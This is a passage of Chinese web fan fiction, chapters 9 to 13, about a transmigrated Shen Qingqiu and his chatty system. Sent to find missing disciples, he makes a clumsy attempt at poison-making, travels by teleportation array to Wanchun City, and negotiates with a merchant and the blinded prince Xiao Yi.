沈清秋将‘批阅’好的文件收起来,拿着这个月刚到的闲书看起来。 ‘你说,尚清华是不是个妙人?’ ‘啊?’系统的思维完全跟不上沈清秋的想法。咋的从无聊就蹦到安定峰去了? 而且,要说有趣的人,不应该是岳掌门或者武痴柳清歌吗? 一个虽然空间上不见面,却没事就发几个‘文件’需要配合批阅;得到某些新奇玩意,也是第一时间送到清静峰让沈清秋挑选。 一个压根不在乎阵法阻拦和世俗忌讳,直接就是硬闯,见面就要开打。直打的两人精疲力尽、浑身是伤,再将千草峰的人喊过来治疗…… 有这两个‘珠玉在前’,恐怕,也没几个能称为‘妙人’了吧? ‘你看。’沈清秋悠悠的从储物袋中取出些许玉佩把玩: ‘这几个月的份例,宗门批下来的还是一样规格。尚清华送过来的,却改换成花哨、繁杂的样式。’ ‘原主的库房里全是淡色、简约的样式。即便用料贵重,浅淡素净的颜色和不细看根本看不出来的纹路,很容易让人将其忽略。’ ‘可自从我来到这里,收到的份例里,除了之前送来的,全改成了用料细腻、做工复杂、颜色明艳的样式。’ ‘就连本该天南海北搜集的孤本,也是杂书、闲话占据大半。’ ‘这其中若没人‘提点’、‘试探’,怕是傻子都不信。’ 系统:…… ‘那你还直接用?’ 系统有的时候完全不能理解沈清秋的做法。既然已经发现了对方的试探,为何还要‘踩上去跳着玩’? 正常人看见陷阱的态度,不都是远远的离开,或者扔几个石头、稍微伸个脚去实验? 沈清秋倒好,明知有鬼,还偏要明晃晃的告知所有人‘我就是有问题’? 他知道‘收敛’‘伪装’‘示弱’几个字怎么写吗! ‘那又如何?’ 沈清秋随便翻看几页后拿起另一本闲书,撇撇嘴:‘这故事可真无趣,要不将萧炎、王林、石昊抄个几份,给这群古代人见识下现代的套路?’ 系统:…… 丫的,最讨厌这种说一半将人钓起来兴趣又不解惑的! 偏偏沈清秋一边嫌弃剧情没意思,一边又看得‘津津有味’,完全不肯再说几句! 系统组织了一下语言,认真求教:‘宿主,他们一个个的都在试探你,却为何没一个‘揭穿’?’ 要知道。刚开局的时候,系统可是处处都在担心,害怕出师未捷,还没进入主线剧情,沈清秋就直接被人揭穿,丢入地牢! ‘噗。’沈清秋被逗笑了。 见过傻的,没见过这么傻的。 ‘自古‘民不举官不究’,弟子们不敢说,平级没兴趣管,掌门也不曾发话。’ ‘你说,谁会‘揭穿’‘举报’呢?’ 系统不解:‘可是所有人都知道‘沈清秋’出问题,性情大变了呀?甚至所有人都在有意无意试探!’ ‘他们又不是没发现,暗地里的试探那么多,明面上却一个个都这么沉得住气?’ ‘你也说了,是‘暗地里’。’ 沈清秋翻过一页,眼眸幽深:‘只要掌门不发话,污蔑、逼走一个‘峰主’。可不是一般人能承受起的。’ ‘那为什么岳清源什么也不做?他明明与原主共同长大,是最了解对方的人!’ ‘于公,他是掌门人,只有他发话,其他人才敢真正‘探究’一介峰主是否正常。于私,他是与原主最为亲近之人,只有他有权利断定‘沈清秋’究竟有没有变化。’ ‘这个嘛。’沈清秋捏着书角,对折后卷成圆形,又伸展开来;接着又翻过来卷起,复又展开:‘就要问岳大掌门了。’ 被卷起后展开的书页拱起小小的弧度,于一堆平展的书籍中,就像是书签一样明显。 只是,被叠压上几本书籍后,终究会老老实实、规规矩矩的恢复平坦。 ———— “师尊,掌门传信,请您去穹顶峰议事堂一叙。” “……” 好嘛,说曹操曹操到,这岳清源是沈清秋肚子里的蛔虫? 还是他俩脑电波同频,这都能想到一起? “还说了什么。” 他不相信岳清源会随便找个借口将他喊过去。这件事,必然有什么‘沈清秋不得不去’的缘由。 “掌门说,事关您最心爱的大弟子。如果您实在抽不出空,他忙完手头那些杂务,会亲自过来与您探讨。” “……” 所以这是威胁吧? 这绝对是威胁吧? 用明帆引他过去,如果他不过去,他就屈尊降贵过来。 总而言之,这个‘面’,必须得见! ‘系统。’沈清秋无语至反笑,与系统打趣道: ‘你不是想知道岳清源葫芦里卖的什么药?现在对方出招,龙潭虎穴,总要去淌一下。’ 第九章发布任务而已,这么深情干什么! ooc预警:伪穿书沈九+糯米皮芝麻馅岳七 ———— “你是说,包含明帆在内的近一百内门弟子,进入秘境后就失去了联系,并且命符黯淡,死生不明?” 沈清秋站在离公务台三尺远的地方,手上捏着写满数字的纸张,仔细阅读档案。 三个月前,某外门弟子发现秘境钥匙。本想组队探险一波,却无意间走漏了风声,被当地的小门派发现。 小门派也是有胆子,竟将苍穹所属外门给囚禁了。取走钥匙不成,便打算杀死几人,搜身搜魂。 若是这件事成了,也就是上不得台面的机缘之争罢了。 可惜这群外门里,有内门的族亲,还有内门长老所赠法宝。 一番比拼,事情闹大后,苍穹所属驻守人员出马,秘境被评估为中等。 上报之后,在给出一些报酬下,理所应当的,进入秘境的资格被各峰弟子所瓜分。 直到——三个月后的今天,所有进入秘境的弟子没有传回一句信息不说,还全部命牌黯淡,有些甚至裂纹到即将碎裂。 “清秋师弟所言甚是。” 岳清源正襟危坐在议事堂主位的时候,掌门做派拿捏的死死的,脸色端正威严,一副为宗门死而后已的架势。 沈清秋将数据单子放下,确定甲方需求: “所以岳掌门希望我出门将人带回来?” 掌管权限的NPC发布任务了。 对于玩家来说,这是游戏设计者主动引导玩家参与剧情,事后一定会给出丰富奖励。 “不是的。” 出乎意料的,岳清源表情极为诚恳,眼里写满了认真和关怀。 明明是发号施令、告知任务的掌门,却给人一种‘低下头为对方周全考虑’的感觉。 “嗯?” 沈清秋有些意外。 发布任务的NPC,只需要将任务明细、完成条件说清楚就够了。这突然站起来、还莫名变得‘深情’的脸色,几乎可以称得上‘暧昧’的氛围,是什么鬼? 他看着对方缓慢站起来,双手撑在桌面上,一点点拉近距离,隔着桌子与自己对望: “我是怕你自己行动。” “所以,提前替你整理好需要的材料。” “……” 这话说的,咋有股哀怨和酸味? 颇有种‘我知道你一定会做什么,但是我阻止不了,所以干脆替你整理好物资,你记得早点回来’的……贤良? 沈清秋感受到不算对劲的氛围,心里总觉得哪里怪怪的。他打算仔细研究一下对方的心灵窗户,抬头看向对方眼睛,然后被生生硬控几秒。 这幽深水润到几乎要将人溺死的瞳孔,执着认真到近乎深情的表情。 一点点接近到,几乎能感受对方呼吸的距离。 还有那迅速加快的心跳,恨不得拔剑的冲动,以及下意识绷紧的肌肉。 丫的,感觉更怪了好吗! 沈清秋觉得自己不该看对方。 所以他将放下的数据又拿起来研究。 耳边的话语再次响起,明明是平白直述。却隐约中,透露出不会被人提起的不满和死命压下的酸涩: “你对明师侄很‘重视’。” “给他极大的权利,让他包管一切。” “衣食住行,全交由他手。” “之前喜好下山采风,现在却每日指点弟子、食用他端上的菜肴。” “若有人‘越级告状’,你也只会轻描淡写的压下,对明师侄的信任,超过一切。” “……” 沈清秋默默退后一步。 他总觉得,对方的下一句说不定就会蹦出什么不该说的东西。 岳掌门这话幽怨的…… 明明他的衣食住行,全仰仗宗门分发资源。咋的到他嘴里,就成了…… 嗯,咳—— 大概,也许…… 正是因为此,岳掌门才觉得不满? 被冒领功劳什么的,美人鱼不也有相同的经历吗... 而且这么大一个掌门,跟孩子置什么气,有什么好争的…… 沈清秋转头,认真的欣赏窗外的风景。 对于岳清源提起的‘控诉’,在脑海中进行反驳:还好,他只是觉得人很好用,一点也不存在‘重视’这种东西…… 毕竟,谁能拒绝一个什么都可以给你搞定的工具人呢?这么‘好用’的管家,那个能放着不用,自己苦哈哈的去干活啊! 岳清源看着对方宁可看外面一成不变的景色,也不看自己的家伙。重重叹了一口气。 接着以‘操碎了心’的态度,替沈清秋搭好团队: “柳师弟性格有点直,但人品和能力都是顶尖的。你若是对他一分好,他便会还你十分回报。” “尚师弟也会跟随你一起,打点好路途上的一切。” “当然,若是清秋师弟想,待我忙完手头这些,也可陪你一同出门。” 言语中颇有老母亲为好大儿安排好一切的既视感。 但考虑到对方的年岁,以及几乎算是明牌的哀怨和明晃晃的‘知道你会偷跑,所以干脆替你搞好一切’,整个人…… 像极了那些影视剧里面,打理好一切事物的当家主母。 沈清秋:…… 所以说原主到底是怎么跟对方相处的? 他们真的是普通师兄弟关系吗! 这所谓的‘一同长大’,究竟存不存在不方便公开的辛密? 对方就不觉得g.a.y里g.a.y气吗? 这到底是男频还是女频赛道? 他一个直男真的扛不住啊!要命,不如让那个姓柳的进来,他们还是打一架吧! “清秋师弟,你怎么想?” “清秋师弟,可是有疑虑?提出来,我们一起分析。” “清秋师弟……” 够了! 别在给我演深情戏码了! 这样的氛围,是不是还要再添上几片花瓣、加个恋爱BGM? 他究竟进入的是个什么样的世界?这游戏是将直男骗进来杀吗? 沈清秋感觉整个头皮都在爆炸,太阳穴突突的跳。 这两人的关系绝对不是‘师兄弟’这么简单,指不定还存在‘心里依托’之类的鬼玩意。 每个人都需要心理锚点,说不定对方的锚点就在自己这副身躯上! 原主与他,究竟是亲密附和,还是淡然莫视?一个以冷漠孤僻著称的人,真的会‘容忍’对方这样层层加码的‘过线’? 截止到目前,对方依旧没有‘揭穿’自己,是他们本就如此相处,还是说…… 想到某种可能,沈清秋清楚感觉到皮肤一点点爬满鸡皮疙瘩,被某种不可名状的寒意给激的浑身僵硬。 他紧紧的闭上眼睛又睁开,强硬的打断对方的‘兄弟情深’,用放荡不羁和恶毒揣测来转移话题: “不怕我跟柳清歌在外边死一个?” 岳清源:…… 什么死不死的,你以为加尚清华的意义是什么。不就是让他跑腿打杂,兼之调和吗。 只要你不主动招惹柳清歌,他还能闲着无聊主动跟你搏命不成? 岳清源无奈的看了沈清秋一眼,点点头:“怕。” “柳师弟的战力和人品有目共睹,清秋师弟你别闹脾气,有事吩咐他去做就行了。” “我这边还给你准备了地级法器,以及能撕裂空间的卷轴。即便所有人都死去,也能保你安然无恙。” 武器分为三类:凡器、法器、灵器。 这三类中,又各自分为天、地、玄、黄四个级别。 灵器世所罕见,唯有天生地养;凡器和法器都是人所制造。 天级是只存在于传说的境界,地级往往是镇派或长老级别才能使用。平日里大能所用的,也就是玄级罢了。 岳清源为沈清秋准备地级法器和能撕裂空间的卷轴,又说出‘所有人都死去、你也会活着’这样的话语。 其心,确实算得上‘不顾一切’。 “时间?” 不管对方怎么出招,沈清秋只想赶紧领任务,领完就跑。 这氛围实在令人难受,还是赶紧打道回府舒服。 “三天后。” OKOK。沈清秋点点头,转身就走。 丫的,岳清源这里,还是少来为妙! 第十章出门在外,要备点防身用品 ooc预警:嘴碎系统+伪穿书沈九+研究员木清芳 ———— “沈师兄,可有看中的?” 木清芳挂着标准的礼貌微笑,虽然心里满是无奈和轻微好奇,整个人的举动却挑不出一点问题。 毕竟。这位可是掌门极为重视的存在,是就算打不好关系,也不能得罪的主。 只是,这家伙平常都是直接让人将丹药、伤药等成品直接送过去,今天怎么想起来千草峰遛弯? 尤其是,还表现得像个好奇宝宝,让他跟个导购似的陪着讲解,耽误他研究药物。 沈清秋完全不在乎周围弟子看稀罕的目光,仔细地观察着药田,偶尔还伸出手轻轻触摸着,感受着它们的质地。 “这些药草,多少年份?”沈清秋抬头看向木清芳,眼神中透露出好奇。 虽说清静峰的书籍里,记载有各种草药的形态和功效。但这种治病制毒的东西,还是要问术业专攻的人才行。 “这一堆,有三百年;这一侧,有五百年;这边这里,有一千多年。而守护阵法笼罩之处,有三千年。” 木清芳心中诽敷,实际却尽职尽责的一边介绍药材年岁和功效,一边指向不同的方向,为沈清秋补充实践知识。 随着两人将药田走完一遍,沈清秋有些小心翼翼的开口试探着: “你们,可有那种,带点毒性的?” 沈清秋的目光有些不好意思的飘忽,但更多是专注的看着木清芳,等待他的回答。 “沈师兄意思是?” 木清芳微微皱起眉头,心里有些了然。 “适合防身的那种。”沈清秋换了个方式解释,手不自觉地握紧了。毕竟,在医院找毒药,确实有点怪怪的。 “沈师兄早说啊……” 木清芳扯了扯嘴唇,终于确认了这家伙的目的。 虽心里觉得这家伙怎么突然遮掩扭捏起来,面上却一副恍然大悟的样子,笑着点点头:“那就,一切照旧?” 沈清秋:…… 好家伙,敢情原主早就这么干了,那他之前还溜来溜去、转换各种话题的,岂不是很尴尬? 沈清秋面色紧绷的点了点头,跟随木清芳走到了某处暗室。木清芳打开门,里面摆放着各种珍贵的草药和制作工具。 “沈师兄所需,已准备妥当。便不打扰了。” 木清芳说完,轻轻地关上了门。吩咐弟子时刻关注里面的情况,便转身回去继续研究药品。 ———— “系统,这些你可认识?” 沈清秋将桌子上的草药与工具翻了一遍,一点点与脑海中的文字对应着。 虽说‘书读百遍、其义自见’,但也有‘纸上得来终觉浅,绝知此事要躬行’。 药品这种东西,多一分可能就失了药性,少一分又可能发挥不出来作用;炼制时间长了可能会焦炭无用,时间短了又可能无法使用。 是一个需要谨慎调试,小心尝试各种搭配的技术活。 系统沉默了一会儿,认真阅读了一遍属于自己的说明书,颇为无语的回答: “宿主,我是自救系统,不是毒师系统。” 所以,不要问他这种超出范围的事情好吗! 沈清秋完全不以为意。 干活这种事情,哪有什么应该不应该的?咋的你学个化学生物,就不需要学语文数学了吗? 你的主旨是反派逆袭,就该为反派提供需要的外挂、知识、地图、信息等帮助! 故而,沈清秋毫不客气的给系统吩咐任务: “给我整理个药典、中草药汇编之类的数据集,最好是带图片版。” 系统:…… 丫的,你当它是什么? Python吗?! 它是任务发布者,怎的现在却沦为打工仔了? 你当它是手机上随时听命、随口一喊就跳出来的小爱同学吗! “系统。做不到吗?” 沈清秋皱皱眉头。 虽说这个世界的知识大部分以书籍形式存在,但系统是高维存在,只是搜集汇总整合一下,并不算什么吧? 只需要使用requests发送网络请求,用beautifsoup解析网页参数,设置keyword为‘草药’,进行查找和储存。 接着使用join链接和select * from 就可以随时查询和使用了啊。 他一个大学生都知道的东西,由代码构成的系统,只会更加顺手拈来吧? 系统:…… 丫的,到底都给你增添了什么样的现代记忆,为啥这种东西你都懂?! ———— 在沈清秋的强烈要求下,系统还是给出了一份电子版的〈药典实例〉。 只是,更加深入的知识。 比如多几克会带来什么样的成效,谁与谁搭配会造成什么样的影响,在何种情况下毒药也能成为救命药等内容。 系统是怎么样也不肯给出了。 不过也无所谓,基础的东西也算够用。 沈清秋拿起几株草药就是开干。 “!!!” 系统看着完全不考虑其他,直接薅几株就扔里面撵碎,然后随便加水霍霍,完全不思索药性的宿主。 感受到了某种恐怖…… “宿主,你认识他们吗,就随便混合,万一中毒怎么办!” 系统开始忍不住焦虑。 这家伙要是因为磨药、调和、制毒等操作,把自己交代在这里了,后续还怎么玩?! 尤其是,他连个手套、口罩也不带!万一有腐蚀性的毒液或者气体,是想当场阵亡吗! 沈清秋极为自信地笑了笑,语气中满是无所谓: “不知道啊,感觉应该可以吧。” 谁会关心游戏里面的药物到底能不能用啊!不都是将草药拖到格子里,然后点击‘合成’就可以了? 说着,他便将几种草药随意地混合在一起加热,完全不顾系统的尖叫。 “宿主!这个汤汁真是没毒吗!他都这么绿了,你居然用手指直接取着闻!” “宿主!标准的化学物质闻味应该轻轻扇起,仔细分辨,你能不能注意点!” “宿主!你要注意他到底有没有腐蚀性啊,赶紧擦干净!” 系统的声音愈发焦急,仿佛能看到它在虚拟空间中急得直跺脚。 面对一个如此大大咧咧的宿主,系统有时候真的要被气出心脏病。 沈清秋对系统的跳脚充耳不闻,他自顾自将手指按压在熬好的粉末上,一脸轻松无畏地‘安慰’道: “没事,我在医院呢,大不了去急诊。” 系统:…… 所以这就是你无所畏惧的原因吗!这具身躯是被屏蔽了痛感还是咋地,你就非要作死是吧! “宿主!!!” 系统看着不小心被蹭到后立刻变得黑黝黝的衣袖,以及很快被灼烧出黑色焦炭的布料,当即咆哮: “这个粉末看着就有问题,衣服布料都被腐蚀了,你居然还敢直接用手指捏??你当你玄玉手吗!” “嘶——没事,”沈清秋皱了皱眉头,极快的将手擦了一下,语气平淡道: “就是酸性有点强……” 系统:…… 所以,你为什么还不怕死的继续搞啊! 第十一章这该死的甲方风格,真是可恶啊 ooc预警:伪穿书沈九+打工人尚清华+硬汉柳清歌 ———— 在现代如果要出门,可以选择走路、骑车、公交、高铁火车、飞机游轮。 修真界要出门,就简单多了。 一般只有三种选择。 走路(轻功)、御剑飞行(乘坐飞艇)、传送阵(空间卷轴)。 考虑到时效性,众人决定坐传送阵。 “沈师兄,这个传送阵需要八块中品灵石或一块上品灵石。” 尚清华看着传送阵的要求,开始请示领导意见。 三人行,必有阶级。 他就一跑腿干活的,决定权一定要交给有决策权的人,坚决不能给自己招任何会被蛐蛐的机会。 只是—— 沈清秋完全不理会尚清华的谨慎处世,像所有单纯大学生一样,直白发问: “有啥区别?” 尚清华:…… 你为什么表现得跟第一次出远门一样啊! 我是在给你选择,让你拍板。 但是你这一副啥也不懂的样子,是指望他给你一点点解析,科普吗! 尚清华看着沈清秋一脸的‘不懂、好奇、求讲解’,以及柳清歌的‘你们聊,我啥也不懂不发表意见’的样子,狠狠的吸口气,认命解释道: “中品灵石,需要八个方位各放一枚。上品灵石,只需要刚在阵眼。” “一颗上品灵石能换十颗中品灵石,但上品灵石能令传送阵更稳定一些。” “哦~”沈清秋点点头,接着发挥十足的专研精神,提出疑问: “他这个跨越时空,是通过空间虫洞跳跃,还是构建空间链接?” “目标地点的距离有影响吗?如何确保稳定性、可控性和安全性?” “空间波动和物质压力如何克服?这其中使用到了什么样的材料和护盾技术? “若是传送阵损坏,是会传送错误,还是迷失于不知名的碎片空间,亦或是被空间乱流绞杀?” “定位点如何精准选择和确定?采用了什么样的数学模型和算法?” “能量如何输入?运转效率和损耗率是多少?总用时所需多久?调试过多少次?参数和环境变量配置了吗?” “还有最后一点,买保险了吗?是意外险还是运费险?如果出问题是靠自身硬扛还是直接封停?” 尚清华:…… 别问,问就是满眼的泪! 哪个用手机、电脑的人会研究它的底层结构和具体实现的算法啊!这不统一称为‘黑箱’拿着用就行了? 我怎么会知道传送阵究竟是如何布出来、怎么运行这么高深的东西!读书最多的,不是清静峰的你吗! 至于空间通道的选择、材料强度、能量供应、定位精度、时间成本、调试和保险等等玩意,你指望他一个搞后勤的生活主任能理解? 为什么学霸要问学渣这些鬼东西? 还有,空间虫洞、定位点、模型算法这些词汇,未免有些太不修真了吧!调试、参数、环境变量、保险这几个词,也过于现代了吧! 难道说? 尚清华想到某种可能,眼睛亮了一下: 这也是个穿越同仁? 那么,这个异世里,他终于找到‘同伴’了吗! 只是不知,对方是怎么穿越的,又是来自那个年代? 尚清华小小的试探道:“沈师兄阅书百卷,可有见解?” 沈清秋理直气壮的回复:“我就是不知道,才问你的啊!” 尚清华:…… 丫的,更像了! 而且还是只管提出问题、不管执行层死活的甲方! 该死的,这样的同仁,在这里只会更加如鱼得水吧! ———— 传送阵闪烁着神秘的光芒,速度极快,仅一刻钟的时间,三人便抵达了目的地外的一座大型城市。 只是,传送阵是跨越时空的利器不假,乘坐感受却绝对算不上好。 沈清秋脸色苍白如纸,仿佛被抽走了所有的血色,紧紧捂着胸口,恶心的感觉如潮水般涌上心头。 这种感觉吧,就像玩跳楼机、蹦极时一样,身体仿佛被一股无形的力量猛地抛向高空,然后丢入洗衣机快速搅拌,接着又被离心机抛出、急速坠落。 除了心脏骤停的压迫感,还有强行撕裂空间,被空间乱流快速挤压变形的扭曲感。 用通俗的话来描述就是——两只脚刚刚踩入拥有几百层楼高的封闭箱式电梯。 在还没站稳的时刻,链接绳索被突然剪断,整个人从几百楼毫无预兆地猛摔到地底,带给人无尽的眩晕和失控感。 沈清秋半跪于地,虚弱地用剑撑着地面,试图稳住自己手脚发软至摇摇欲坠的身体。 传送阵这种工具,虽然存在想象中‘闪现’、‘隔空传送’的快速,但真的只适合输送死物,一点也不适合当做活人的交通方式! 胃里翻江倒海,酸涩的液体反涌到咽喉,激起一片牙酸。可若是真要呕吐,却又什么也吐不出来。 旁边的阳光突然被遮挡,沈清秋扭头看向右手边。柳清歌依旧直挺挺地站立着,像是没事人似的,步伐坚定而平稳,大步向外走去。 他的身影在阳光下显得格外高大,对比还留在传送阵中几乎虚弱的要晕死过去的两人,柳清歌浑身都在散发着一种强大而坚定的气息。 对此,沈清秋不禁发出对强者的赞叹:‘系统!这当真是个很强大、很硬汉的男人!生子当如孙仲谋!’ 就在这时,柳清歌走到了一棵大树旁边,左手扶树,弯下腰,开始狂吐起来。他的身体微微颤抖着,腿却站得直直的,努力克制着不倒下。 ‘宿主~’系统的调侃声音传来:‘强大~硬汉~孙仲谋~’ 沈清秋:…… 丫的,被系统嘲讽了! 该死的,柳清歌不是硬汉吗! 白费劳资的夸奖! 62.出门打个怪,顺便跟柳清歌决裂 第十二章这家伙不会精神分裂吧 ooc预警:伪穿书沈九+直男柳清歌+打工人尚清华 ———— 万春城,是东洲远近闻名的一座大城。其本来是凡人地界,后面由天兰派接手,大兴土木、造桥开路,最终造就一座繁华都市。 在沈清秋的强烈要求下,柳清歌与尚清华一同换上凡人服饰,体会当地的风土人情。 柳清歌看着每个摊位都要研究一番,恨不得拿出留影石无时无刻都在记录的沈清秋,感觉额头的青筋都在跳: “沈清秋,你不在乎明帆的性命,我还要找溟烟。” 沈清秋眼里只有正在戏耍的杂技,无所谓的冲柳清歌摆摆手: “秘境早在两个月前就关闭了,你急也没用。还不如多打探一下消息,看有没有走侧门的方式进去。” 柳清歌:…… 话说的好听,若是你能放下手中堆满的零碎玩意,从这一群围观人群中走出来,会更有说服力! 尚清华在两人之间努力调和:“沈师兄说的有道理。柳师兄啊,我们已经到秘境附近了,总要找到进去的方法才能进行下一步不是?” 柳清歌怒视尚清华。 尚清华怂了怂肩膀,最终还是决定维护沈清秋——这位疑似穿越的同仁,可是掌门的手中宝,宁可得罪同级柳清歌,不可惹掌门人不快! 两人跟随着放飞自我的沈清秋从街头转到街尾,最后,一同走进了一看装修就很奢侈的—— 大型商场,仙缘坊。(我也不知道修真界商场叫啥,就干脆现代点吧) “道友想要什么?” 小二很快迎过来,对身穿凡服、气质出尘的三位青年挂起露出八颗牙齿的招牌营业笑容。 “地级法器可有?” 沈清秋开局王炸,将‘不通俗物’的清冷仙人展现沈淋漓尽致。 尚清华一脸扭曲的闭上眼睛,拒绝承认这家伙是穿越同仁。咋的他这个同仁是真的没出过门吗,一出口就是要镇场子的东西? 地级!别说小型门派,便是大型宗门,也是不外借、仅能让掌门或长老、老祖级别才能使用的! 偏生,柳清歌还一脸赞同的样子,完全不觉得这么说有什么不对。 小二:…… 小二嘴角微不可查的抽了抽,认真打量了一下三人,确认这几个应该不是隔壁宝器阁派来闹事的。 还地级法器,他们咋不说天级或者灵器呢? 这几个什么来路啊,张口就是地级? 不过,这三人中,有两人都理直气壮、毫不心虚,莫不是大宗门放出来历练的? 若是这样,多一个朋友总好过得罪,带他们去雅间,看掌柜的如何安排吧。 秉承着‘来者是客’‘和气生财’的原则,小二将几位引到三楼雅间,前去喊掌柜的出来见客。 希望这三人背景够硬,要不然今天这顿批评,是免不得了! ———— “诸位道友好,鄙人严钱,是此处的掌柜。” 一个胖乎乎、笑眯眯的中年人走进雅间,身后跟着几个妙龄侍女,送上茶点和水果。 “各位道友想要什么物件,不妨讲上一讲,且看鄙人能不能为诸位寻来?” 柳清歌不言不语,坐的端正挺直,一副‘我就是个打手’的样子。 尚清华悄咪咪的看向沈清秋,若是柳清歌都不出声,他一个后勤主任,就更不能开口了。 只是——以沈清秋之前表现出来的单纯直白,真的能与一看就很精明的掌柜交涉吗? 别一开口,就被人给坑的团团转啊。 沈清秋坐姿随意,整个身体靠向后侧,惬意又懒散。身边两人都不出声的情况下,沈清秋看对面胖子一眼,忽的开口: “附近有个秘境,我们要能进入其中的‘凭证’。” 尚清华:…… 之前是谁强烈要求换成凡人装扮,说什么要‘遮掩姓名,悄悄调查’的! 敢情你是该出口的时候不出手,不该的时候大发厥词啊…… 大哥啊,你是真的没出过社会,还是没经历过毒打? 还是说,您老在现代也是富家公子哥?压根不愁吃穿,只关心玩乐的那种? 就在尚清华暗自吐槽的时候,严钱笑了笑,胖乎乎、白嫩嫩的脸上满是婴儿肥,和善的脸庞像极了年画中的弥罗佛。 他挥挥手让身后的精壮少年守在门口,亲自为三人重新注满茶水。 “诸位道友,可是苍穹山所属?” “哦?”沈清秋眼皮微垂,下巴唯抬,身躯略微坐正,周身浮现出常年身居高位侵染上的威势。随着时间的流逝,手指于桌面有节奏的轻敲: “严掌柜能在最繁华的地段开这么大个铺子,果然有点门道。” ‘宿主,’系统突然跳出来:‘你这样子,好高冷好凌傲啊。逆子你终于愿意扮演原主的清冷师尊人设了!知道我有多感动吗呜呜呜~’ ‘滚犊子。’沈清秋将系统骂走:‘他有求于我。不摆高姿态,还要低三下四迎合不成?’ 严钱平和的笑笑,原属于商人的精明和善褪下,颇有些洗尽铅华、回归凡尘的得道高人意味。身躯前探,伸手为自己倒了杯茶,轻喝一口放下: “几位仙长若是去了别处,必然会第一时间被天兰派得知踪迹。进而得到‘每周一次的拍卖会上,存在打开秘境的钥匙’这个消息。” 接着,他抬头看着沈清秋的眼睛,勾起嘴角: “只是。诸位既然来了这里,我却要告知诸位。” “拍卖会上的钥匙,是假的。” 沈清秋眼皮轻掀,撇一眼严钱,举起茶杯抿了一口。放下茶杯后,同样勾起嘴角、脸上却没有半分笑容: “严掌柜所说,可有证明?” 对方既然喝茶,那他就跟一步。 敞开天窗,才好说亮话。 这种勾心斗角、弦音环绕、彼此拉扯的戏码,虽然他没怎么经历过,却仿佛天生就极为适应。 他能第一时间明晰对方的意思,并在极短的时间内快速分析利弊。 同样的,这种‘本能’。使得他对他人的情绪极为敏感,对恶意的感触和厌恶也比其他人更强。 大抵是,他本就身处黑暗,故而同性相斥? 严钱笑得眼睛都看不见了,眯成一条缝的眼睛里透出亮光。他从袖口摸出一个令牌,推给沈清秋: “烟熏阁、兰云厢,我家公子戌时等着诸位大驾光临。” ———— 三人并排离开,尚清华看着看沈清秋,觉得这家伙很是矛盾。 有时候直白单纯的跟个清纯大学生似的;有时候却莫名阴沉冷漠,尤其是与人交谈之时,那种不知是违和还是复杂的氛围,割裂却又统一。 这家伙,不会是精神分裂吧? 沈清秋察觉到对方的视线,扭头看向尚清华,身上那股冷淡、深沉的气势还没消散。声音清晰可辩,音调低沉中微微上扬:“怎么?” “没……”尚清华连忙将视线收回,默默离柳清歌更近些。虽然柳清歌的气质很冷很硬,看着就是喜欢打架的猛男。 但…… 总比这个身材消瘦、脸皮长得极为好看,眼神却黝黑阴冷、时刻散发着危险气息的家伙强太多了! 只是…… 柳清歌居然一个大快步,远离了两人! 呜呜呜,尚清华失去了可依靠的臂膀,深深觉得世界真是太可怕了。 原以为这是个单纯傻白甜,却没想到接触起来,竟还能这么白切黑! 不愧是故事里的反派师尊。能所有人都死亡的情况下还继续活下去,并且跟主角持续作对的家伙。 这气势,衬得柳清歌都显得极为良善了! 就是吧,柳巨巨你不要走啊!小短腿真的跟不上了! 第十三章交易这种事情,就是‘礼尚往来’ ooc预警:嘴碎系统+伪穿书沈九 ———— 万春王朝。虽名字叫“万春”,实际却贫瘠不堪,资源匮乏到令人咋舌的地步。连年大旱,甚至连国民吃饭都是问题。 身处如此艰难的处境,百姓连造反的力气都没有。无奈之下,万春王朝只得向路过此地的一名散修求救,并许以国师之位,希望能换对方出手相助。 但——这位修真者其实并不是散修。 他是天兰派的隐世长老之一,此番出山本意是寻找机缘。无意间到达此处,发现某个山林灵气格外繁盛,期间还有妖物盘踞。 而此地土壤贫瘠、寸草不生、颗粒无收的罪魁祸首,正是妖物于整个国度布下了引灵阵,将王朝全部的灵力聚集于一处,以供自己修炼。 这位修真者将妖物杀死后取走妖丹,并在王朝领导人的再三劝说下,定居于此。 甚至,将门派的新址定在了原本属于妖物居住的山头之上,举家迁移。 在修真门派的庇护和帮助下,万春王朝欣欣向荣。其首都万春城,更是百花齐放,实现了真正的永春不败。 其上,是所有外来者都会了解到的万春城历史。这段历史歌颂了天兰派的仗义之举,也展现了万春王朝的信守承诺,以及修真者与凡尘互相成就的传世佳话。 只是—— 沈清秋对面的人,却对这段历史嗤之以鼻。 “说是皇帝依旧掌管王朝,实际上谁都知道,王朝早已是修真门派的傀儡罢了。” “皇帝的当选不是民众选举,也不由血脉继承,全看‘天兰派’的指点——他们说谁是大帝之姿,谁就是下一任的皇帝。” “他们平日里要求王朝搜集灵宝灵物就算了。随着时间的推移,近几十年来越发不将凡人当人,干苦力、进深山不说,有时还要献祭不少漂亮姑娘和童男童女进行享乐。” “这样的修真门派,从根子上就烂掉了,早就该被拔除掉。” 萧逸一身张扬放肆的红衣,肩肘、领口、手腕和腰身处晕染着黑色渐变,使周身看起来薄弱又妖娆。 大红的他本该充满攻击性,可眼上的黑色绸带与看不出血色的嘴唇,却大大降低了他的威胁力,令人忍不住从心底为他感到可怜和忧伤。 黑与红夹杂在一起,细腻惨白的脸色与周围繁杂、艳丽的环境融合得诡异又协调。 “呵。”沈清秋斜躺于美人榻上,看着刻意示弱、努力将姿态放低的王朝世子,侧过脸咬住美人剥好的葡萄,吐出籽来: “话虽如此,你也只是一面之词。” 他摆摆手,享受腿边的美人芙蓉软骨轻揉慢捏。完全不在乎一旁僵硬到浑身散发冷气的柳某人和惴惴不安到恨不得一直喝茶水压惊的尚某人。 无法言喻的气氛于双方面前展开,沈清秋推开美人送来的佳酿,看向对方蒙着纱的眼睛: “而你。也不过是想借此机会引我们入局,替你‘震慑’天兰派上面的人。” 空气随着声音一起落下,形成令人窒息的真空。 彼此都紧盯着对方的眼睛,谁也不肯先行挪开。 大家都是体面人,讲的也都是漂亮话。 可若是对方一直这样,这买卖也不用谈了。 萧逸,万春王朝最有实力的世子。若是天兰派不插手,他是最有机会继承大统的人。 可惜,故事总是波折的。少年人,一腔热血尚未流干,敢于对世间一切不平等说‘不’。 他曾在某个嚣张跋扈的天兰派使者面前,强硬拒绝交出亲姊妹。天兰派使者震怒,毁去其眼睛不说,还被断了根基,扬言其连二十年寿命都活不到。 英气风发的少年郎,却因拒绝权势之人而将人得罪,最后只能默默等死。 